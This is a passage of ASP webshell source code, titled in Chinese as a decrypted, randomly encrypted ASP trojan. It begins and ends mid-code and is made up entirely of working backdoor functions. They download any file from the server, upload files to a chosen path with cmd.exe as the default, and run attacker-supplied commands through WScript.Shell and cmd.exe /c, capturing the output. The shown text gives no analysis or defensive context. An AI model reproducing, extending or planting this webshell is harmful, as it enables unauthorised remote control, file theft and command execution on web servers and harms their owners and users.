asp木马代码解密的随机加密webshell

QL>"
RESPONSE.WRITE " <INPUT TYPE=SUBMIT VALUE=执行>"
RESPONSE.WRITE "</FORM>"
END IF
End Function

Function DownFile(Path)
Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
Response.AddHeader "Content-Length", OSM.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing
End Function

Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "''")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function

Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" or F.FileSize=0 then
SI="<br>请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="<center><br><br><br>文件"&UName&"上传成功！</center>"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
RRS SI
ShowErr()
Response.End
End If
SI="<br><br><br><table border=''0'' cellpadding=''0'' cellspacing=''0'' align=''center''>"
SI=SI&"<form name=''UpForm'' method=''post'' action=''"&URL&"?Action=UpFile&Action2=Post'' enctype=''multipart/form-data''>"
SI=SI&"<tr><td>"
SI=SI&"上传路径：<input name=''ToPath'' value=''"&RRePath(Session("FolderPath")&"\cmd.exe")&"'' size=''40''>"
SI=SI&" <input name=''LocalFile'' type=''file'' size=''25''>"
SI=SI&" <input type=''submit'' name=''Submit'' value=''上传''>"
SI=SI&"</td></tr>"©url&"</form></table>"
RRS SI
End Function

Function Cmd1Shell()
checked=" checked"
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")<>"yes" then checked=""
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method=''post''>"
SI=SI&"SHELL路径：<input name=''SP'' value=''"&ShellPath&"'' Style=''width:70%''> "
SI=SI&"<input class=c type=''checkbox'' name=''wscript'' value=''yes''"&checked&">WScript.Shell"
SI=SI&"<input name=''cmd'' Style=''width:92%'' value=''"&DefCmd&"''> <input type=''submit'' value=''执行''><textarea Style=''width:100%;height:440;'' class=''cmd''>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else
On Error Resume Next
Set ws=Server.CreateObject("WScript.Shell")
Set ws=Server.CreateObject("WScript.Shell")
Set fso=Server.CreateObject("Scripting.FileSystemObject")
szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObje